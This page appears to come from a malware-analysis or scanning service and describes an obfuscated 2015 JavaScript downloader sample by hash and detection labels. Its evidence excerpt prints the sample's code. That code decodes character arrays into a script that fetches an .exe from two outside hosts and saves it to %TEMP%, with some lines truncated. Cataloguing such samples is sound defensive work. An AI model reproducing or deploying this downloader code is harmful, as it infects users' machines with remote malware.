Suspicious 80% javascript-malware-collection Download

20151209_a1c701beddcc6815cc4a9e977c3b664d.js

Obfuscated downloader execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256701e969ef750d66b1f07f2413f05a03bf92f2af1192e7d50530daccb63548db2

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';DsGKp[126]='~';DsGKp[127]='';
3function VZnxO(hBqEYbNrhpc,KeiBDAWXLuRLO,qgHjrDus){nwqF=parseInt(hBqEYbNrhpc,KeiBDAWXLuRLO);HNXcW=nwqF.toString(qgHjrDus);return HNXcW;}function WFiQvOWdBfBVwUK(LaqYHXpMdpzBmWbeZ){eval(LaqYHXpMdpzBmWbeZ)}
4function GSFKRDIkQNTAzCHhzmvcIYGBvkPRLmoEzNJnmLWYosBqoxxUnLeOOu(udMVuEgobqCMA,EgWcmNyuSLFSbU){ return DsGKp[VZnxO(udMVuEgobqCMA[EgWcmNyuSLFSbU],(7260+540)/780,(7980+110)/809)];}
5function dcuQdcL(JOLpHxLFGbPRYAIZHlQFdMlNpgWwPBenjIDm) {return !isNaN(parseFloat(JOLpHxLFGbPRYAIZHlQFdMlNpgWwPBenjIDm)) && isFinite(JOLpHxLFGbPRYAIZHlQFdMlNpgWwPBenjIDm);}
6function SzakMMqUpVz(YsBVdmrR,EynBtT){return YsBVdmrR.split(EynBtT)}
7var j=["13","10","13","10","118","97","114","32","89","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","48","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","48","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","74","76","84","32","61","40","40","49","47","42","50","68","84","106","52","53","51","56","53","49","53","57","54","110","56","49","54","48","50","48","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","119","122","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","74","76","84","41","59","13","10","118","97","114","32","83","85","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","118","87","73","32","61","32","119","122","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","83","85","41","59","13","10","118","97","114","32","76","117","77","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","106","98","69","32","61","32","76","117","77","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","116","81","32","61","32","116","114","117","101","32","32","44","32","107","90","108","72","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","73","122","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","43"," …
8var P=["49","52","48","59","13","10","102","111","114","32","40","118","97","114","32","84","61","103","90","110","59","32","84","60","89","46","108","101","110","103","116","104","59","32","84","43","43","41","32","32","123","13","10","32","32","118","97","114","32","77","107","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","73","122","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","89","91","84","93","43","68","44","32","102","97","108","115","101","41","59","32","73","122","46","115","101","110","100","40","41","59","32","105","102","32","40","73","122","46","115","116","97","116","117","115","32","61","61","32","51","53","57","45","49","53","57","41","32","32","123","13","10","32","32","32","32","32","32","121","114","103","46","111","112","101","110","40","41","59","32","121","114","103","46","116","121","112","101","32","61","32","49","59","32","121","114","103","46","119","114","105","116","101","40","73","122","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","121","114","103","46","115","105","122","101","32","62","32","49","55","53","54","57","45","50","49","53","41","32","32","123","13","10","32","32","32","32","32","32","32","32","77","107","32","61","32","49","59","32","121","114","103","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","121","114","103","46","115","97","118","101","84","111","70","105","108","101","47","42","103","81","102","86","56","52","109","82","120","100","42","47","40","118","87","73","47","42","76","73","119","106","51","48","112","107","71","102","42","47","43","86","99","104","69","99","99","101","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32", …
9var eGwbQ=[j,P];
10var DhBvUfLDs=[];
11function KqcYyWQakJJOCiFHk(eGwbQ){hHMVISVhYaQ= '';for(YIkgTokQEoI=(-918+918)/11; YIkgTokQEoI < (1138+834)/986; YIkgTokQEoI++) {DhBvUfLDs[YIkgTokQEoI]=(-982+982)/945; while(true) { if(DhBvUfLDs[YIkgTokQEoI] > eGwbQ[YIkgTokQEoI].length-(717+125)/842) { break; } if (dcuQdcL(VZnxO(eGwbQ[YIkgTokQEoI][DhBvUfLDs[YIkgTokQEoI]],(2220+220)/244,(9309+281)/959))) {hHMVISVhYaQ += GSFKRDIkQNTAzCHhzmvcIYGBvkPRLmoEzNJnmLWYosBqoxxUnLeOOu([eGwbQ[YIkgTokQEoI][DhBvUfLDs[YIkgTokQEoI]]], (-23+23)/333);} DhBvUfLDs[YIkgTokQEoI]++;}} return hHMVISVhYaQ}
12WFiQvOWdBfBVwUK(KqcYyWQakJJOCiFHk(eGwbQ));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.